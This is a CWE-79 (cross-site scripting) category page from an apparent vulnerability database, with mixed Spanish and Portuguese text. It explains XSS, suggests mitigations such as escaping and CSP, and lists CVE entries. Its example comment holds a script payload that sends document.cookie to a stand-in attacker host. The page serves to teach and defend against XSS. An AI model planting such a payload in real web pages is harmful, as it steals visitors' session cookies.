Fallos del tipo CWE-79

30.094 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-10614MEDIUMitsourcecode E-Logbook with Health Monitoring System for COVID-19 print_reports_prev.php cross site scriptingEPSS 0.4%CVE-2024-4417MEDIUMFalang multilanguage for WordPress <= 1.3.49 - Authenticated (Administrator+) Stored Cross-Site ScriptingEPSS 0.4%CVE-2023-51068MEDIUMAn authenticated reflected cross-site scripting (XSS) vulnerability in QStar Archive Solutions Release RELEASE_3-0 Build 7 allows attackers EPSS 0.4%CVE-2023-51312MEDIUMPHPJabbers Restaurant Booking System v3.0 is vulnerable to Reflected Cross-Site Scripting (XSS) in Reservations menu, Schedule section date EPSS 0.4%CVE-2023-51330MEDIUMPHPJabbers Cinema Booking System v1.0 is vulnerable to Reflected Cross-Site Scripting (XSS) in Now Showing menu "date" parameter.EPSS 0.4%CVE-2026-16205MEDIUMPluck CMS Albums albums.admin.php htmlspecialchars_decode cross site scriptingEPSS 0.4%CVE-2025-0104HIGHExpedition: Cross-Site Scripting (XSS) VulnerabilityEPSS 0.4%CVE-2023-51315MEDIUMPHPJabbers Restaurant Booking System v3.0 is vulnerable to Multiple Stored Cross-Site Scripting (XSS) in the "seat_name, plugin_sms_api_key,EPSS 0.4%CVE-2025-10566MEDIUMCampcodes Grocery Sales and Inventory System index.php cross site scriptingEPSS 0.4%CVE-2024-42906MEDIUMTestLink before v.1.9.20 is vulnerable to Cross Site Scripting (XSS) via the pop-up on upload file. When uploading a file, the XSS payload cEPSS 0.3%CVE-2026-12170MEDIUMAcyMailing <= 10.10.2 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'alignment' AttributeEPSS 0.3%CVE-2026-116675HIGHTinyMCE Cross-Site Scripting (XSS) vulnerability using media plugin `data-mce-object` serializationEPSS 0.3%CVE-2026-18988MEDIUMEasy Accordion <= 3.1.8 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'accordionTitleTag' Block AttributeEPSS 0.3%CVE-2024-12409MEDIUMSimple:Press Forum <= 6.10.11 - Reflected Cross-Site ScriptingEPSS 0.3%CVE-2026-8892MEDIUMCM Business Directory <= 1.5.7 - Authenticated (Contributor+) Stored Cross-Site Scripting via Business Address Meta FieldsEPSS 0.3%CVE-2024-35545MEDIUMMAP-OS v4.45.0 and earlier was discovered to contain a cross-site scripting (XSS) vulnerability.EPSS 0.3%CVE-2024-9127MEDIUMSuper Testimonials <= 3.0.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via alignment ParameterEPSS 0.3%CVE-2026-4610MEDIUMProfileGrid <= 5.9.9.2 - Authenticated (Subscriber+) Stored Cross-Site Scripting via Message ContentEPSS 0.3%CVE-2024-10724LOWStored XSS in IPV6 Section in phpipam/phpipamEPSS 0.3%CVE-2024-8861MEDIUMProfileGrid – User Profiles, Groups and Communities <= 5.9.3.2 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%